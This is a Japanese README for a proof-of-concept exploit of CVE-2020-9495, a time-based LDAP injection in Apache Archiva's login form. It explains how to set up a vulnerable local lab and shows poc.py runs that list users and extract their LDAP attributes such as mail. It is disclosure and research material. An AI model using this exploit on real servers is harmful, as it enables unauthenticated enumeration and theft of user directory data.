CVE-2020-9495 PoC

CVE-2020-9495 は、Apache Archiva の 2.2.5 より前のバージョンにおける中程度の深刻度の LDAP インジェクション脆弱性です。これにより、攻撃者は LDAP サーバー上に存在するユーザーの任意の LDAP 属性値を取得できます。

公式の Apache Archiva アドバイザリ より:

特別な値を archiva のログインフォームに提供することで、攻撃者は接続された LDAP サーバーからユーザー属性データを取得できます。特定の文字を使用すると、接続された LDAP サーバー上のユーザーを照会するために使用される LDAP フィルターを変更することが可能です。応答時間を測定することで、LDAP ユーザーオブジェクトから任意の属性データを取得できます。

PoC

poc.py スクリプトは、認証されていない攻撃者が Archiva と統合された LDAP サーバー上のユーザーを列挙し、任意のユーザーの任意の属性の値を取得する方法を示しています。

ローカル Archiva テストサーバー

LDAP 認証が有効な Archiva サーバーが既にある場合は、この手順をスキップしてください。

1. Archiva 2.2.4 をダウンロードして展開します

   $ wget https://archive.apache.org/dist/archiva/2.2.4/binaries/apache-archiva-2.2.4-bin.tar.gz
   $ tar -zxf apache-archiva-2.2.4-bin.tar.gz
   

2. OpenLDAP サーバーを実行します

   $ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
   

3. users.ldif から LDAP にユーザーをインポートします

   $ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
   

4. Archiva サーバーを実行します

   $ bin/archiva console
   

5. Web インターフェース経由で LDAP 認証を有効にして設定します

ユーザーの列挙

$ ./poc.py --url http://127.0.0.1:8080
[INFO] Enumerating users from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4

admin1 ユーザーの LDAP 属性値の取得

$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
[email protected]
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
last